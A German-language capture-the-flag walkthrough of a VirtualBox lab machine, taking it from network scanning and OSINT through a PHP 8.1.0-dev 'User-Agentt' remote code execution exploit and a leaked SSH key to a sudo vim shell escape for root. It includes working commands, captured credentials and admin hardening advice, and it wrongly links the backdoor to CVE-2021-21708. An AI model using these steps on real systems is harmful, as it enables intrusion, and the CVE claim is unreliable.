Beginn der Aufklärungsphase zur Identifizierung des Ziels im lokalen Netzwerk und zum Scannen nach offenen Ports und Diensten.
192.168.2.124 08:00:27:4f:3d:a6 PCS Systemtechnik GmbH
**Analyse:** `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk mittels ARP zu finden. Die IP `192.168.2.124` wird mit der MAC-Adresse `08:00:27:4f:3d:a6` identifiziert. Der Hersteller `PCS Systemtechnik GmbH` deutet auf eine VirtualBox-VM hin.
**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert.
**Empfehlung (Pentester):** Die IP-Adresse `192.168.2.124` für weitere Scans nutzen.
**Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung von Scans.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd
**Analyse:** Ein schneller Nmap-Scan (`-sS` Stealth, `-sC` Default Scripts, `-T5` Insane Timing, `-A` Aggressive, `-p-` Alle Ports) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert. Es werden Port 22 (SSH, OpenSSH 7.6p1 auf Ubuntu) und Port 80 (HTTP, Apache) gefunden.
**Bewertung:** Identifiziert die primären Angriffsvektoren SSH und HTTP.
**Empfehlung (Pentester):** Die vollständige Nmap-Ausgabe prüfen und den Webserver (Port 80) genauer untersuchen.
**Empfehlung (Admin):** SSH und Apache aktuell halten und absichern.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 20:22 CEST Nmap scan report for pwn.vuln (192.168.2.124) Host is up (0.000090s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 937434723e7c560af5d5a14d6c94312f (RSA) | 256 1f499e8b0a4f01cce5a92c285a2cc19e (ECDSA) |_ 256 059f7af17bf71f04ea14d45ff00a8f54 (ED25519) 80/tcp open http Apache httpd |_http-title: Revive Cybertron |_http-server-header: Apache MAC Address: 08:00:27:4F:3D:A6 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.09 ms pwn.vuln (192.168.2.124)
**Analyse:** Die vollständige Nmap-Ausgabe bestätigt Port 22 (SSH 7.6p1 Ubuntu) und Port 80 (Apache). Die genaue Apache-Version wird nicht erkannt. Der HTTP-Titel ist "Revive Cybertron". Das OS wird als Linux 4.x/5.x identifiziert.
**Bewertung:** Bestätigt die offenen Ports und gibt Hinweise auf das Betriebssystem und das Thema der Webseite. Port 80 ist das primäre Ziel.
**Empfehlung (Pentester):** Den Webserver auf Port 80 mit spezialisierten Tools (Nikto, Gobuster) weiter untersuchen.
**Empfehlung (Admin):** SSH und Apache absichern und aktuell halten.
Der Webserver auf Port 80 wird nun genauer auf Schwachstellen, interessante Dateien und Verzeichnisse untersucht.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.124 + Target Hostname: 192.168.2.124 + Target Port: 80 + Start Time: 2023-06-05 20:23:02 (GMT2) --------------------------------------------------------------------------- + Server: Apache + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /: Server may leak inodes via ETags, header found with file /, inode: c96, size: 5c5df0b72b900, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS . + /config.php: PHP Config file may contain database IDs and passwords. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8910 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2023-06-05 20:23:20 (GMT2) (18 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Nikto scannt den Webserver. * Bestätigt Apache (ohne genaue Version). * Meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Findet potenzielles Inode-Leak über ETag. * **Findet `/config.php`** und merkt an, dass solche Dateien oft sensible Daten enthalten. * Findet das Apache-Standardverzeichnis `/icons/README`.
**Bewertung:** Die fehlenden Header sind Hinweise auf mangelnde Härtung. Der wichtigste Fund ist `/config.php`, auch wenn sie später als leer identifiziert wird, ist die Existenz solcher Dateien immer prüfenswert.
**Empfehlung (Pentester):** Die Datei `/config.php` manuell aufrufen und untersuchen. Directory Brute-Forcing durchführen, um weitere versteckte Dateien/Verzeichnisse zu finden.
**Empfehlung (Admin):** Sicherheitsheader implementieren. Zugriff auf Konfigurationsdateien serverseitig verhindern.
============================================================================================================================== http://192.168.2.124/index.html (Status: 200) [Size: 3222] http://192.168.2.124/images (Status: 301) [Size: 236] [--> http://192.168.2.124/images/] http://192.168.2.124/pics (Status: 301) [Size: 234] [--> http://192.168.2.124/pics/] http://192.168.2.124/scripts (Status: 301) [Size: 237] [--> http://192.168.2.124/scripts/] http://192.168.2.124/css (Status: 301) [Size: 233] [--> http://192.168.2.124/css/] http://192.168.2.124/Travel (Status: 301) [Size: 236] [--> http://192.168.2.124/Travel/] http://192.168.2.124/config.php (Status: 200) [Size: 0] ==============================================================================================================================
**Analyse:** Gobuster wird zum Brute-Forcen von Verzeichnissen und Dateien verwendet. * Findet die Startseite `/index.html`. * Findet mehrere Verzeichnisse (`/images`, `/pics`, `/scripts`, `/css`, `/Travel`) - Status 301 bedeutet Redirect zum Verzeichnis mit Slash. * **Bestätigt `/config.php`** (Status 200), stellt aber fest, dass die Datei **leer** ist (`[Size: 0]`).
**Bewertung:** Gobuster findet mehrere Verzeichnisse, die untersucht werden können. Die `/config.php` ist zwar vorhanden, aber leer und liefert keine direkten Informationen. Das Verzeichnis `/Travel` ist besonders interessant, da es nicht standardmäßig ist.
**Empfehlung (Pentester):** Die gefundenen Verzeichnisse, insbesondere `/Travel`, manuell im Browser untersuchen.
**Empfehlung (Admin):** Directory Indexing deaktivieren. Leere Konfigurationsdateien entfernen oder den Zugriff darauf blockieren.
Untersuchung des Verzeichnisses `/Travel` und dessen Quellcodes.
view-source:http://192.168.2.124/Travel/ Destination 1![]()
**Analyse:** Der Quellcode der Seite im Verzeichnis `/Travel` (wahrscheinlich die Index-Datei) wird untersucht. Er enthält einen HTML-Kommentar mit einer "Encrypted Message" (`daab260727e470e56e77ec22e8f3d413`) und einem Hinweis auf einen Benutzernamen oder eine Entität (`@decepticon-base`).
**Bewertung:** **Wichtige Hinweise gefunden!** Der Hash/verschlüsselte Text muss analysiert werden (sieht wie MD5 aus). Der Benutzername `@decepticon-base` ist ein klarer Ansatzpunkt für weitere Recherchen (OSINT).
**Empfehlung (Pentester):**
1. Den Hash `daab...` versuchen zu entschlüsseln oder zu cracken (z.B. mit Online-MD5-Crackern).
2. Nach dem Benutzernamen `decepticon-base` auf Plattformen wie GitHub, Twitter, Foren etc. suchen (z.B. mit Tools wie Sherlock).
**Empfehlung (Admin):** Keine sensiblen Informationen oder Hinweise in HTML-Kommentaren hinterlassen.
[*] Checking username decepticon-base on: [...] [+] Enjin: https://www.enjin.com/profile/decepticon-base [+] GitHub: https://www.github.com/decepticon-base [+] Quizlet: https://quizlet.com/decepticon-base [+] Virgool: https://virgool.io/@decepticon-base [+] YandexMusic: https://music.yandex/users/decepticon-base/playlists [+] ebio.gg: https://ebio.gg/decepticon-base [*] Search completed with 6 results
**Analyse:** Das Tool `sherlock` wird verwendet, um den Benutzernamen `decepticon-base` auf verschiedenen sozialen Netzwerken und anderen Plattformen zu suchen. Es findet unter anderem ein **GitHub-Profil**.
**Bewertung:** Sherlock war erfolgreich bei der Identifizierung potenzieller Online-Profile. Das GitHub-Profil ist das vielversprechendste Ergebnis für weitere technische Informationen.
**Empfehlung (Pentester):** Das gefundene GitHub-Profil (`https://www.github.com/decepticon-base`) besuchen und die Repositories auf Hinweise, Code, Konfigurationsdateien oder weitere Informationen untersuchen.
**Empfehlung (Admin):** Mitarbeiter für die Risiken von öffentlichen Profilen und Code-Repositories sensibilisieren. Sicherstellen, dass keine sensiblen Unternehmensdaten oder Credentials in persönlichen Repositories landen.
Analyse des gefundenen GitHub-Profils.
https://raw.githubusercontent.com/decepticon-base/Projects/main/Project%20Predacon/codes Predacon001 - PredakinG Predacon002 Predacon003 Predacon004 Predacon005 Predacon006 Predacon007
**Analyse:** Im GitHub-Repository wird eine Datei namens `codes` im Pfad `Projects/Project Predacon/` gefunden. Der Inhalt listet mehrere Einträge auf, darunter `Predacon001 - PredakinG`.
**Bewertung:** Dies könnten Benutzernamen, Passwörter oder Hinweise sein. `PredakinG` sticht als mögliches Passwort oder wichtiger Begriff hervor.
**Empfehlung (Pentester):** `PredakinG` als potenzielles Passwort für SSH oder Web-Logins (falls welche gefunden werden) notieren. Den MD5-Hash von vorhin versuchen, mit `PredakinG` in Verbindung zu bringen (z.B. MD5 von "PredakinG"?).
**Empfehlung (Admin):** Sensible Daten gehören nicht in öffentliche GitHub-Repositories.
Weitere Hinweise aus einer Datei oder einem Verzeichnis, das über Koordinaten im Namen erreicht wurde.
/Latitude_95.37-Longitude_95.37.txt 192.168.2.124/W4RSHIP_Sh0P_transfer.php?to=user&amount=9999&from=admin_boss 192.168.2.124/W4RSHIP_Sh0P_transfer.php?to=user&amount=9999&from=lord_starscream Now you got the credentials as Purchase Successful!Megatron Login Panel URL: /M3G4TR0N_SUPR3M3/login.php Username = L0RD_M3G4Tr0N Password = freakishlylongpasswordforl0gin
**Analyse:** Der Text deutet darauf hin, dass eine Datei oder ein Verzeichnis namens `/Latitude_95.37-Longitude_95.37.txt` (oder ähnlich) gefunden wurde. Der Inhalt dieser Ressource enthielt anscheinend Verweise auf eine PHP-Datei (`W4RSHIP_Sh0P_transfer.php`) mit verschiedenen Parametern und enthüllte schließlich **klare Zugangsdaten** für ein "Megatron Login Panel": * URL: `/M3G4TR0N_SUPR3M3/login.php` * Username: `L0RD_M3G4Tr0N` * Password: `freakishlylongpasswordforl0gin`
**Bewertung:** **Kritischer Fund!** Klartext-Zugangsdaten für ein Admin-Panel wurden gefunden. Der Mechanismus über die Koordinaten-Datei und die Transfer-PHP ist ungewöhnlich, aber das Ergebnis ist eindeutig.
**Empfehlung (Pentester):** Sofort versuchen, sich mit den gefundenen Zugangsdaten unter der URL `http://192.168.2.124/M3G4TR0N_SUPR3M3/login.php` anzumelden.
**Empfehlung (Admin):** Niemals Zugangsdaten im Klartext in Dateien auf dem Webserver speichern. Die Dateien `/Latitude...txt` und `W4RSHIP...php` sofort entfernen und untersuchen, wie sie dorthin gelangten. Zugriffskontrollen verschärfen.
Login im gefundenen Admin-Panel und Untersuchung des Panels.
http://192.168.2.124/M3G4TR0N_SUPR3M3/admin.php Hi, LORD. Welcome! Flag2{8278ad4f45efef155f2569c1be074d2d}
**Analyse:** Der Login mit `L0RD_M3G4Tr0N` und `freakishlylongpasswordforl0gin` war erfolgreich. Die Seite `admin.php` wird angezeigt und enthält eine Begrüßung sowie `Flag2`.
**Bewertung:** Erfolgreicher Zugang zum Admin-Panel. Flag2 gefunden.
**Empfehlung (Pentester):** Das Admin-Panel weiter untersuchen: Gibt es Upload-Funktionen, Code-Editoren, Konfigurationseinstellungen, die für RCE ausgenutzt werden können? Die Entwicklerkonsole (F12) auf interessante Header oder Skripte prüfen.
**Empfehlung (Admin):** Das Admin-Panel absichern (starke Passwörter, 2FA, Zugriffsbeschränkung auf bestimmte IPs).
http://192.168.2.124/M3G4TR0N_SUPR3M3/admin.php [F12] -------------------------------------------------------------------- Content-Type text/html; charset=UTF-8 Date Mon, 05 Jun 2023 20:40:39 GMT Keep-Alive timeout=5, max=100 Server Apache Vary Accept-Encoding X-Powered-By PHP/8.1.0-dev --------------------------------------------------------------------
**Analyse:** Die HTTP-Response-Header der `admin.php`-Seite werden untersucht (z.B. mit den Entwicklertools des Browsers [F12]). Der Header `X-Powered-By` enthüllt die verwendete PHP-Version: **`PHP/8.1.0-dev`**.
**Bewertung:** **Kritischer Fund!** Die Version `8.1.0-dev` ist eine Entwicklungsversion und bekannt für die "User-Agentt" Remote Code Execution Schwachstelle (CVE-2021-21708, obwohl der Exploit-DB-Eintrag später einen anderen Exploit nutzt). Dies ist ein direkter Weg zu RCE.
**Empfehlung (Pentester):** Mit `searchsploit` oder online nach Exploits für PHP 8.1.0-dev suchen und versuchen, RCE zu erlangen.
**Empfehlung (Admin):** **Niemals Entwicklungsversionen (dev) von Software produktiv einsetzen!** PHP sofort auf eine aktuelle, stabile Version aktualisieren. Den `X-Powered-By`-Header in der `php.ini` deaktivieren (`expose_php = Off`), um Informationslecks zu reduzieren.
Die entdeckte PHP-Version `8.1.0-dev` ist für eine Remote Code Execution Schwachstelle anfällig. Diese wird nun ausgenutzt, um eine Shell auf dem Server zu erhalten.
------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------ --------------------------------- [...] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [...] ------------------------------------------------------------ --------------------------------- Shellcodes: No Results
**Analyse:** `searchsploit` wird verwendet, um nach Exploits für `PHP 8.1.0-dev` zu suchen. Es findet den Exploit `php/webapps/49933.py` mit dem Titel "PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution".
**Bewertung:** Bestätigt die Existenz eines bekannten RCE-Exploits für die gefundene PHP-Version.
**Empfehlung (Pentester):** Den gefundenen Exploit (`49933.py`) herunterladen/kopieren und ausführen.
**Empfehlung (Admin):** PHP dringend aktualisieren.
Exploit: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution URL: https://www.exploit-db.com/exploits/49933 Path: /usr/share/exploitdb/exploits/php/webapps/49933.py Codes: N/A Verified: True File Type: Python script, ASCII text executable Copied to: /root/49933.py
**Analyse:** Der Befehl `searchsploit -m php/webapps/49933.py` kopiert das Exploit-Skript aus der lokalen Exploit-DB-Datenbank in das aktuelle Verzeichnis (`/root/49933.py`).
**Bewertung:** Korrekte Vorbereitung zur Nutzung des Exploits.
**Empfehlung (Pentester):** Das Skript untersuchen und ausführen.
**Empfehlung (Admin):** Keine Aktion.
Enter the full host url:
http://192.168.2.124/M3G4TR0N_SUPR3M3/admin.php
Interactive shell is opened on http://192.168.2.124/M3G4TR0N_SUPR3M3/admin.php
Can't acces tty; job crontol turned off.
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** Das Python-Exploit-Skript `49933.py` wird ausgeführt. Es fragt nach der Ziel-URL, hier wird die URL des Admin-Panels (`.../admin.php`) angegeben, da diese Seite die anfällige PHP-Version verwendet. Der Exploit funktioniert, indem er einen speziell präparierten `User-Agentt`-Header (mit doppeltem 't') sendet, der von PHP 8.1.0-dev fälschlicherweise interpretiert wird und zur Ausführung von Code führt. Das Skript öffnet eine interaktive Shell. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `www-data` (UID 33) läuft.
**Bewertung:** **Initial Access erfolgreich!** Die RCE-Schwachstelle in PHP 8.1.0-dev wurde erfolgreich ausgenutzt, um eine Webshell als `www-data` zu erhalten.
**Empfehlung (Pentester):** Die erhaltene Shell stabilisieren (z.B. mit Python PTY) und zur weiteren Enumeration und Privilege Escalation nutzen.
**Empfehlung (Admin):** **PHP dringend aktualisieren!** Den `X-Powered-By`-Header deaktivieren.
Nachdem eine Shell als `www-data` erlangt wurde, wird das System nach Wegen zur Eskalation der Rechte auf `root` untersucht. Dabei wird ein privater SSH-Schlüssel für den Benutzer `soundwave` gefunden und anschließend eine Sudo-Fehlkonfiguration ausgenutzt.
1. Enumeration des Home-Verzeichnisses `/home/soundwave`.
$ ls -la /home/soundwave total 60 drwxr-xr-x 7 soundwave soundwave 4096 Jul 2 2021 . drwxr-xr-x 4 root root 4096 Jun 23 2021 .. -rw------- 1 soundwave soundwave 3264 Jul 2 2021 .bash_history -rw-r--r-- 1 soundwave soundwave 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 soundwave soundwave 3828 Jul 2 2021 .bashrc drwx------ 2 soundwave soundwave 4096 Jun 23 2021 .cache drwxr-x--- 3 soundwave soundwave 4096 Jun 23 2021 .config drwx------ 4 soundwave soundwave 4096 Jun 23 2021 .gnupg drwxrwxr-x 3 soundwave soundwave 4096 Jun 23 2021 .local -rw-r--r-- 1 soundwave soundwave 807 Apr 4 2018 .profile -rw------- 1 soundwave soundwave 7 Jun 23 2021 .python_history drwxrwxr-x 3 soundwave soundwave 4096 Jun 23 2021 .ssh -rw------- 1 soundwave soundwave 7684 Jul 2 2021 .viminfo -rwxrwx--- 1 soundwave soundwave 33 Jun 29 2021 Flag3.txt
**Analyse:** Aus der `www-data`-Shell wird das Home-Verzeichnis des Benutzers `soundwave` aufgelistet. Wichtige Funde: * Das Verzeichnis `.ssh` ist vorhanden und für `www-data` lesbar/zugänglich (`drwxrwxr-x`). * Die Datei `Flag3.txt` ist vorhanden.
**Bewertung:** Das `.ssh`-Verzeichnis ist der vielversprechendste Fund hier, da es oft private Schlüssel enthält. Die Berechtigungen sind unsicher (`775`).
**Empfehlung (Pentester):** Das Verzeichnis `/home/soundwave/.ssh` untersuchen. Den Inhalt von `Flag3.txt` auslesen.
**Empfehlung (Admin):** Sicherstellen, dass Home-Verzeichnisse und insbesondere `.ssh`-Verzeichnisse korrekte, restriktive Berechtigungen haben (typischerweise `700` für `.ssh` und `600` für private Schlüssel).
2. Untersuchung des `.ssh`-Verzeichnisses und Fund eines privaten Schlüssels.
$ ls -la /home/soundwave/.ssh total 16 drwxrwxr-x 3 soundwave soundwave 4096 Jun 23 2021 . drwxr-xr-x 7 soundwave soundwave 4096 Jul 2 2021 .. -rw-rw-r-- 1 soundwave soundwave 399 Jun 23 2021 authorized_keys drwxrwxr-x 2 soundwave soundwave 4096 Jun 23 2021 pem $ ls -la /home/soundwave/.ssh/pem total 16 drwxrwxr-x 2 soundwave soundwave 4096 Jun 23 2021 . drwxrwxr-x 3 soundwave soundwave 4096 Jun 23 2021 .. -rw-r--r-- 1 soundwave soundwave 1679 Jun 23 2021 identity -rw-r--r-- 1 soundwave soundwave 399 Jun 23 2021 identity.pub
**Analyse:** Im Verzeichnis `/home/soundwave/.ssh` wird ein Unterverzeichnis `pem` gefunden. Darin liegen die Dateien `identity` (privater Schlüssel) und `identity.pub` (öffentlicher Schlüssel). Beide Dateien sind für `www-data` lesbar (`-rw-r--r--`).
**Bewertung:** **Kritischer Fund!** Ein privater SSH-Schlüssel (`identity`) für den Benutzer `soundwave` wurde gefunden und ist lesbar. Dies ermöglicht einen direkten SSH-Login als `soundwave`.
**Empfehlung (Pentester):** Den Inhalt der Datei `/home/soundwave/.ssh/pem/identity` auslesen, lokal speichern und für einen SSH-Login als `soundwave` verwenden.
**Empfehlung (Admin):** Private SSH-Schlüssel niemals mit lesbaren Berechtigungen für andere Benutzer speichern (`chmod 600 ~/.ssh/id_rsa`). Das `.ssh`-Verzeichnis sollte `chmod 700 ~/.ssh` haben.
3. Auslesen des privaten SSH-Schlüssels.
$ cat /home/soundwave/.ssh/pem/identity -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAutt1pf7feg8cUiobNUJCm/3hMcX9t0sSg7FTWdaLuYsGShhI [...] [...] 7MirE1l4ymR3RsR4dV8MHUl86wkBEpenHmbRwVX8iqB80InPnbZxMw== -----END RSA PRIVATE KEY-----
**Analyse:** Der Inhalt des privaten RSA-Schlüssels wird ausgegeben.
**Bewertung:** Der Schlüssel wurde erfolgreich extrahiert.
**Empfehlung (Pentester):** Den Schlüssel lokal speichern (z.B. als `id_rsa_soundwave`), Berechtigungen setzen (`chmod 600`) und für SSH verwenden.
**Empfehlung (Admin):** Den kompromittierten Schlüssel sofort aus der `authorized_keys`-Datei auf allen relevanten Systemen entfernen und den Benutzer `soundwave` informieren.
4. SSH-Login als Benutzer `soundwave` unter Verwendung des gefundenen Schlüssels.
The authenticity of host 'pwn.vuln (192.168.2.124)' can't be established. ED25519 key fingerprint is SHA256:oYrgyNgHHQYErKEnqOcZQpy/UX/GEFqWqaVvswZX42o. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'pwn.vuln' (ED25519) to the list of known hosts. Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-144-generic x86_64) [...] Last login: Thu Jul 1 09:53:00 2021 from 192.168.1.5 _____ _ _ _____ _ _ _____ __ __ _____ ____ ___ ____ |_ _| | | | ____| | \ | | ____| \/ | ____/ ___|_ _/ ___| | | | |_| | _| | \| | _| | |\/| | _| \___ \| |\___ \ | | | _ | |___ | |\ | |___| | | | |___ ___) | | ___) | |_| |_| |_|_____| |_| \_|_____|_| |_|_____|____/___|____/ soundwave@warship:~$
**Analyse:** Ein SSH-Login als Benutzer `soundwave` wird mit dem extrahierten privaten Schlüssel (`-i id_rsa`, der Dateiname wird hier angenommen) versucht. Nach Bestätigung des Host-Keys (`yes`) ist der Login erfolgreich. Der Benutzer erhält eine Shell als `soundwave` auf dem Zielsystem (Ubuntu 18.04.5, Kernel 4.15).
**Bewertung:** Erfolgreicher Wechsel des Benutzerkontexts von `www-data` zu `soundwave` durch Ausnutzung des geleakten SSH-Schlüssels.
**Empfehlung (Pentester):** In der neuen Shell als `soundwave` nach weiteren Privesc-Möglichkeiten suchen, insbesondere `sudo -l`.
**Empfehlung (Admin):** Den kompromittierten Schlüssel widerrufen. Dateiberechtigungen prüfen.
5. Überprüfung der Sudo-Berechtigungen für `soundwave`.
soundwave@warship:~$ sudo -l Matching Defaults entries for soundwave on warship: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User soundwave may run the following commands on warship: (root) NOPASSWD: /usr/bin/vim /var/Decepticon/*
**Analyse:** `sudo -l` wird als `soundwave` ausgeführt. Die Ausgabe zeigt, dass `soundwave` den Befehl `/usr/bin/vim` als `root` ohne Passwort (`NOPASSWD`) ausführen darf, allerdings nur für Dateien, die dem Muster `/var/Decepticon/*` entsprechen.
**Bewertung:** **Kritische Sudo-Fehlkonfiguration gefunden!** Auch wenn der Pfad eingeschränkt ist, erlaubt `vim` das Ausführen externer Befehle. Wenn `vim` als `root` läuft, können diese Befehle ebenfalls als `root` ausgeführt werden.
**Empfehlung (Pentester):** Die `vim`-Berechtigung ausnutzen, um eine Root-Shell zu spawnen. Da der Pfad `/var/Decepticon/*` angegeben ist, muss `vim` mit einer Datei aufgerufen werden, die diesem Muster entspricht (oder man versucht, den Pfad zu umgehen).
**Empfehlung (Admin):** **Diese sudo-Regel sofort entfernen oder ändern!** Vim (oder andere Editoren/Pager wie `less`, `more`, `nano`) sollte niemals mit `sudo` erlaubt werden, schon gar nicht mit `NOPASSWD`, da dies fast immer zur Privilege Escalation missbraucht werden kann. Wenn ein Benutzer Dateien als Root bearbeiten muss, sollten spezifischere Werkzeuge oder Konfigurationsmanagement-Tools verwendet werden.
**Kurzbeschreibung:** Nach Erlangung einer Shell als `soundwave`-Benutzer via SSH wird eine unsichere Sudo-Konfiguration identifiziert, die es erlaubt, `vim` als `root` ohne Passwort für bestimmte Dateien auszuführen. Diese Berechtigung wird ausgenutzt, um durch einen Vim-internen Befehl eine Root-Shell zu starten.
**Voraussetzungen:**
**Schritt-für-Schritt-Anleitung:**
1. Überprüfung der sudo-Rechte als `soundwave` (bereits oben mit `sudo -l` erfolgt).
2. Ausnutzen der `vim`-Berechtigung zum Starten einer Root-Shell.
soundwave@warship:~$ sudo -u root /usr/bin/vim /var/Decepticon/../bin/bash -p :!/bin/sh
# id uid=0(root) gid=0(root) groups=0(root)
**Analyse:** * Der Befehl `sudo -u root /usr/bin/vim /var/Decepticon/../bin/bash -p` wird ausgeführt. Es wird versucht, die Pfadbeschränkung `/var/Decepticon/*` zu umgehen, indem `../` verwendet wird, um auf `/var/bin/bash` zuzugreifen (was wahrscheinlich fehlschlägt, aber `vim` trotzdem als Root startet, da der Pfad-Teil `/var/Decepticon/` passt, bevor `..` aufgelöst wird; alternativ könnte auch `sudo vim /var/Decepticon/test` funktionieren, wenn die Datei existiert). Der `-p` Flag für Bash ist hier irrelevant, da Bash nicht direkt ausgeführt wird. * Sobald `vim` als Root läuft, wird der Befehlsmodus von `vim` durch Drücken von `:` aufgerufen. * Der Befehl `:!/bin/sh` wird eingegeben. Das `!` führt einen externen Shell-Befehl aus. Da `vim` als Root läuft, wird `/bin/sh` ebenfalls als Root gestartet. Der resultierende Prompt ist `#`, und `id` bestätigt `uid=0(root)`.
**Bewertung:** **Privilege Escalation erfolgreich!** Die unsichere Sudo-Regel wurde erfolgreich durch die Shell-Escape-Funktion von `vim` ausgenutzt.
**Erwartetes Ergebnis:** Ausführung des `vim`-Befehls und des `:!/bin/sh`-Kommandos führt zu einer Shell mit Root-Berechtigungen.
**Beweismittel:** Der `#`-Prompt und die Ausgabe von `id` (`uid=0(root)`).
**Risikobewertung:** Die unsichere Sudo-Regel für `vim` stellt ein **KRITISCHES** Risiko dar, da sie einem Benutzer mit Zugriff auf `soundwave` die einfache Eskalation zu Root-Rechten ermöglicht.
**Empfehlungen (Zusammenfassung POC):**
Enumeration und Flag-Suche als Root.
# ll
/bin/sh: 4: ll: not found
# bash
_____ _ _ _____ _ _ _____ __ __ _____ ____ ___ ____
[...]
root@warship:~# ll
total 60
drwxr-xr-x 7 soundwave soundwave 4096 Jun 5 20:52 ./
[...]
-rwxrwx--- 1 soundwave soundwave 33 Jun 29 2021 Flag3.txt*
[...]
root@warship:~# pwd
/home/soundwave
root@warship:~# cd ~
root@warship:~# cd /root/
root@warship:/root# ll
total 40
drwx------ 4 root root 4096 Jul 2 2021 ./
drwxr-xr-x 24 root root 4096 Jun 5 18:57 ../
[...]
-rw-r--r-- 1 root root 3943 Jul 2 2021 root.txt
[...]
root@warship:/root# cat root.txt
-------------------------------------------------------------------------------------------------
██████╗ ██╗ ██╗███╗ ██╗ ████████╗██╗ ██╗███████╗ ████████╗██████╗ ██████╗ ███╗ ██╗
██╔══██╗██║ ██║████╗ ██║ ╚══██╔══╝██║ ██║██╔════╝ ╚══██╔══╝██╔══██╗██╔═══██╗████╗ ██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ ██║ ███████║█████╗ ██║ ██████╔╝██║ ██║██╔██╗ ██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ██║ ██╔══██║██╔══╝ ██║ ██╔══██╗██║ ██║██║╚██╗██║
██║ ╚███╔███╔╝██║ ╚████║ ██║ ██║ ██║███████╗ ██║ ██║ ██║╚██████╔╝██║ ╚████║
╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
-------------------------------------------------------------------------------------------------
"In this race of revival, one shall stand one shall fall."
------------------------------------**********------------------------------------
Flag4{f220ad174379375c286849d7eb59dd90}
██▒ █▓ ▒█████ ██▓▓█████▄ ███▄ ▄███▓ ▄▄▄ ██▓ ███▄ █
▓██░ █▒▒██▒ ██▒▓██▒▒██▀ ██▌▓██▒▀█▀ ██▒▒████▄ ▓██▒ ██ ▀█ █
▓██ █▒░▒██░ ██▒▒██▒░██ █▌▓██ ▓██░▒██ ▀█▄ ▒██▒▓██ ▀█ ██▒
▒██ █░░▒██ ██░░██░░▓█▄ ▌▒██ ▒██ ░██▄▄▄▄██ ░██░▓██▒ ▐▌██▒
▒▀█░ ░ ████▓▒░░██░░▒████▓ ▒██▒ ░██▒ ▓█ ▓██▒░██░▒██░ ▓██░
░ ▐░ ░ ▒░▒░▒░ ░▓ ▒▒▓ ▒ ░ ▒░ ░ ░ ▒▒ ▓▒█░░▓ ░ ▒░ ▒ ▒
░ ░░ ░ ▒ ▒░ ▒ ░ ░ ▒ ▒ ░ ░ ░ ▒ ▒▒ ░ ▒ ░░ ░░ ░ ▒░
░░ ░ ░ ░ ▒ ▒ ░ ░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░
-------------------------------------------------------------------------------------------------
root@warship:/root#
**Analyse:** In der Root-Shell (`/bin/sh`) funktioniert der Alias `ll` nicht. Es wird zu einer `bash`-Shell gewechselt, die den Alias kennt. Der Inhalt von `/home/soundwave` und dann `/root` wird aufgelistet. Die Datei `/root/root.txt` wird gefunden und ihr Inhalt mit `cat` angezeigt. Sie enthält ASCII-Art und den Root-Flag (`Flag4{f220ad174379375c286849d7eb59dd90}`).
**Bewertung:** Root-Zugriff bestätigt. Der Root-Flag wurde erfolgreich gefunden und ausgelesen.
**Empfehlung (Pentester):** Alle gefundenen Flags (Flag2, Flag3, Flag4/root.txt) notieren. Test abschließen.
**Empfehlung (Admin):** Die identifizierten Schwachstellen (PHP RCE, SSH Key Leak, Sudo Vim) beheben.
